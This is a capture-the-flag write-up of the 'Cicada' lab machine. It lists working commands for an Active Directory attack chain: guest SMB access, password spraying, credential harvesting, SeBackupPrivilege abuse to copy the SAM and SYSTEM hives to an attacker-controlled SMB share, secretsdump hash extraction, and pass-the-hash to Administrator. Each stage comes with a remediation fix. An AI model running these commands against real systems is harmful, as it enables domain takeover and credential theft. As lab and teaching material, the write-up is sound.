Cicada
Summary
I authenticated to the domain controller's SMB service as the built-in guest account, downloaded an HR onboarding document containing a plaintext default password, and sprayed that password across all domain accounts to compromise one user who had never changed it. Pivoting through two further credential exposures — a password stored verbatim in an Active Directory user attribute and a second password hardcoded in a PowerShell backup script on an internal share — I reached an account holding SeBackupPrivilege.
That right bypassed all file-system access controls, allowing me to copy the SAM and SYSTEM registry hives offline, extract the built-in Administrator's NTLM hash with Impacket secretsdump, and authenticate to the domain controller with full administrator authority via pass-the-hash.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service-version scan of all common DC ports.
$ nmap -sV -sC -T4 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 $TARGET -oN nmap_cicada.txtProbe for null or guest SMB session and list available shares.
$ nxc smb $TARGET -u '' -p '' --sharesExact commands 2
Authenticate as guest with a blank password and download the HR notice.
$ smbclient -U 'guest%' //$TARGET/HR -c 'ls; get "Notice from HR.txt" /tmp/cicada/Notice_from_HR.txt'Reveals the default password in plaintext.
$ cat /tmp/cicada/Notice_from_HR.txtFixDisable SMB guest authentication and restrict unauthenticated share accessHigh
Exact commands 3
RID-cycle using the guest session to enumerate all domain accounts.
$ nxc smb $TARGET -u guest -p '' --rid-brute 10000 | tee /tmp/cicada/rid_brute.txtExtract plain usernames, stripping the CICADA-DC\ domain prefix.
$ awk '/SidTypeUser/ {print $6}' /tmp/cicada/rid_brute.txt | sed 's/.*\\//' | sort -u | tee /tmp/cicada/users.txtSpray the default password against every enumerated user; hit on michael.wrightson.
$ nxc smb $TARGET -u /tmp/cicada/users.txt -p "$PASSWORD" --continue-on-success | tee /tmp/cicada/spray_default.txtFixRemove default credentials from shared documents and enforce password change at first logonCritical
Exact commands 1
Enumerate all AD user objects with attributes; the Description field reveals david.orelious's password.
$ nxc ldap $TARGET -u 'michael.wrightson' -p "$PASSWORD" --users | tee /tmp/cicada/ldap_users_michael.txtFixPurge credentials stored in Active Directory user attributesHigh
Exact commands 3
Confirm david.orelious has read access to the DEV share.
$ nxc smb $TARGET -u 'david.orelious' -p "$PASSWORD3" --shares | tee /tmp/cicada/shares_david.txtList the DEV share and download the backup script.
$ smbclient //$TARGET/DEV -U "david.orelious%$PASSWORD3" -c 'ls; get Backup_script.ps1'Scan the script for credential strings; reveals emily.oscars's password.
$ grep -i 'password\|pass\|cred' Backup_script.ps1FixEliminate hardcoded credentials from scripts stored on network sharesCritical
Exact commands 2
Verify WinRM access and read the user flag — value is <user.txt>.
$ nxc winrm $TARGET -u 'emily.oscars' -p "$PASSWORD2" -X 'whoami; hostname; Get-Content C:\Users\emily.oscars\Desktop\user.txt' | tee /tmp/cicada/winrm_user.txtOpen an interactive WinRM shell for the privilege escalation steps that follow.
$ evil-winrm -i $TARGET -u emily.oscars -p "$PASSWORD2"Exact commands 5
Run inside the evil-winrm session to confirm SeBackupPrivilege: Enabled for emily.oscars.
$ whoami /privSave the SAM and SYSTEM hives to disk; SeBackupPrivilege bypasses the ACL that normally prevents this.
$ mkdir C:\Temp; reg save HKLM\SAM C:\Temp\SAM.save; reg save HKLM\SYSTEM C:\Temp\SYSTEM.saveRun on my machine to receive the exfiltrated hive files.
$ impacket-smbserver cicada /tmp/cicada/loot -smb2support -username cicada -password "$PASSWORD4"Run inside evil-winrm; replace $ATTACKER_IP with your tun0 address.
$ copy C:\Temp\SAM.save \\$ATTACKER_IP\cicada\SAM.save && copy C:\Temp\SYSTEM.save \\$ATTACKER_IP\cicada\SYSTEM.saveOffline hash extraction from the SAM backup — yields Administrator's hash.
$ impacket-secretsdump -sam /tmp/cicada/loot/SAM.save -system /tmp/cicada/loot/SYSTEM.save LOCAL | tee /tmp/cicada/secretsdump_local.txtFixRemove SeBackupPrivilege from non-administrative accountsCritical
Exact commands 2
Pass-the-hash WinRM login as Administrator — flag value is <root.txt>.
$ nxc winrm $TARGET -u 'Administrator' -H "$HASH" -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt' | tee /tmp/cicada/root_flag_read.txtOpen an interactive Administrator shell using the extracted NTLM hash; no password cracking needed.
$ evil-winrm -i $TARGET -u Administrator -H "$HASH"Exposed services
| 53/tcp | domain (generic dns response: SERVFAIL) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 06:39:33Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 61921/tcp | unknown recon-sweep-discovered |